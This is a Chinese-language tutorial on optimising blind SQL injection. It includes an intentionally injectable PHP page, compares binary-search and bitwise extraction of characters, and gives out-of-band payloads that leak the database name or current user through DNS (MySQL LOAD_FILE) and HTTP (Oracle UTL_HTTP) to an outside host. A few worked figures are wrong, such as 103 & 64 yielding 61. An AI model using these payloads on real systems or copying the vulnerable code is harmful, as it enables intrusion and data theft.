SQL注入之盲注优化技术
典型时间型盲注示例代码:
<?php
header('content-type:text/html;charset=utf-8');
@$id=$_GET['id']; //传参
if(!isset($id)){
die('请传入GET方法id参数值');
}
$mysqli=new mysqli();
$mysqli->connect('localhost','root','root');
if($mysqli->connect_errno){
die('连接数据库失败:'.$mysqli->connect_error);
}
$mysqli->select_db('user');
if($mysqli->errno){
die('打开数据库失败:'.$mysqli->error);
}
$mysqli->set_charset('utf8');
$sql="SELECT username,passwd FROM users WHERE id={$id} limit 0,1";
$result=$mysqli->query($sql);
if(!$result){ #无论什么情况都输入一种情况:hello mysql
echo 'hello mysql';
}else if($result->num_rows==0){
echo 'hello mysql';
}else {
echo 'hello mysql';
}
一、盲注猜解技术
在平时遇到盲注时,我们通常会使用二分搜索法进行猜解,这也是sqlmap工具默认的猜解方法,当然在布尔盲注时用二分搜索法也是比较快的,但是当遇到时间型盲注时,二分搜索法显得那么无能为力了。
sqlmap默认采用的二分搜索法:适用于全部数据库
其实盲注猜解技术不止二分搜索法,下面给大家讲解已知盲注猜解技术:
1、普通字符加正则表达式联合优化猜解
最原始的直接猜测:
x = 'a'
x = 'b'
......
这种效率肯定不高,光英文加数字最多要猜解:26+10=36次
使用正则表达式缩小采解范围:
x LIKE ['a-f']
x LIKE [^'a-f']
这时再加上直接猜测进行范围缩小
正则表达式在某些场景很有用。
2、二分搜索算法
二分搜索算法(分半\折半算法)主要用于推断单个字节的值,不需要搜索整张字母表,通过不断拆分平均值来缩小查找范围。
任何ASCII字符都可以用1字节或8位表示,也称为八位字节,并非所有字符在数据库中都是有效的或允许的,所以我们只关注ASCII范围32 - 126的可见字符,它给我们留下了一组94个字符。这其中是包含特殊符号在内的可见字符,如果知道要猜解的数据不包含特殊字符,还可以缩减范围成:48-57、65-90、97-122
例:使用二分搜索法猜解字符'f'=>ASCII数字为102
x > 64 1
x > 128 0
x > 96 1
x > 112 0
x > 104 0
x > 100 1
x > 102 0
x > 101 1
x > 101 and x < 102 所以 x = 102
可以看到,使用二分搜索法需要8次猜解才能确定字符,这里x > 128 可以去掉,因为大于128了就不是可见字符,所以使用二分搜索法猜解至少需要7次,还不算是否判断字符结束x=0
所以,二分搜索法有个明显的缺点,那就是猜测每一位字符需要发送7次请求,每次发送的请求需要上一次请求返回结果判断才能继续发送,也就是说只有发送了第一次请求,且返回了结果,在进行结果判断,然后在发送第二次请求…,这种每次需要等待上一次结果返回,花费的时间较长。
1次请求延迟5秒,至少有4次是正确的吧,那就是4*5=20s,在加上不延迟的请求也需要时间返回吧,一次算1s吧,那就是20s+4s=24s,当然这里只是延迟5s,有些网页本身返回延迟慢,则需要加大此数。
3、按位方法
用按位方法法不需要像二分搜索法那样只能单次单次发送,可以并行同时发送7次请求,使得能快速得到一位值。
位操作法使用位操作符 & 实现
例:猜解字符 'g'=>ASCII码103
select 103 & 128; 结果为 0 =》0
select 103 & 64; 结果为 61=》1
select 103 & 32; 结果为 32=》1
select 103 & 16; 结果为 0=》0
select 103 & 8; 结果为 0=》0
select 103 & 4; 结果为 4=》1
select 103 & 2; 结果为 2=》1
select 103 & 1; 结果为 1=》1
结果非0的都为1,那么集合起来就是 01100111,转换到十进制为103,而ascii码表113对应字符'g'
这种方法也是需要7次请求,但是不需要像二分搜索法那样需要等待上一次请求结果进行判断,也就是说二分搜索法只能单线程,而位操作法可以并发多线程。时间大大的节约。
原理很简单:就是把字符转化成二进制,逐位判断
128二进制 10000000
64二进制 01000000
32二进制 00100000
16二进制 00010000
8二进制 00001000
4二进制 00000110
2二进制 00000010
1二进制 00000001
实验,这里使用位操作法是可以的:
那么为什么sqlmap不使用此方法进行呢?留给大家思考!
带外通信技术
进行SQL盲注漏洞时,使用第二类方法是借助非主流通道。区别在于前面的推断技术依靠的是页面发送的响应来判断,而非主流通道技术使用的是传输通道而非页面响应,传输通道包括DNS、E-MAIL、HTTP请求。这样的好处是可以一次检索多块数据,而不是通过推断单个字节的值。
现在企业防火墙或安全设备一般不会对DNS请求进行拦截检测,所以目前很多都是用NDS隧道进行隐蔽控制。
#mysql发送DNS请求:
SELECT LOAD_FILE(CONCAT('\\\\',( SELECT DATABASE() ),'.xx.xx\\x));
#Oracle发送DNS请求和HTTP请求:
SELECT UTL_INADDR.get_host_name('192.168.1.1') FROM dual;
select utl_http.request('http://192.168.0.102/'||(SELECT user FROM dual)) from dual;
可借助网络上已有平台,如:ceye.io、T00ls DNSLOGd等:
或者自己搭建NDS和HTTP平台:
- 简单的自己写个python脚本监控UDP协议53端口的DNS记录,搭建个web服务器分析HTTP访问记录
- 或者采用一些开源项目,如:https://github.com/LandGrey/dnstricker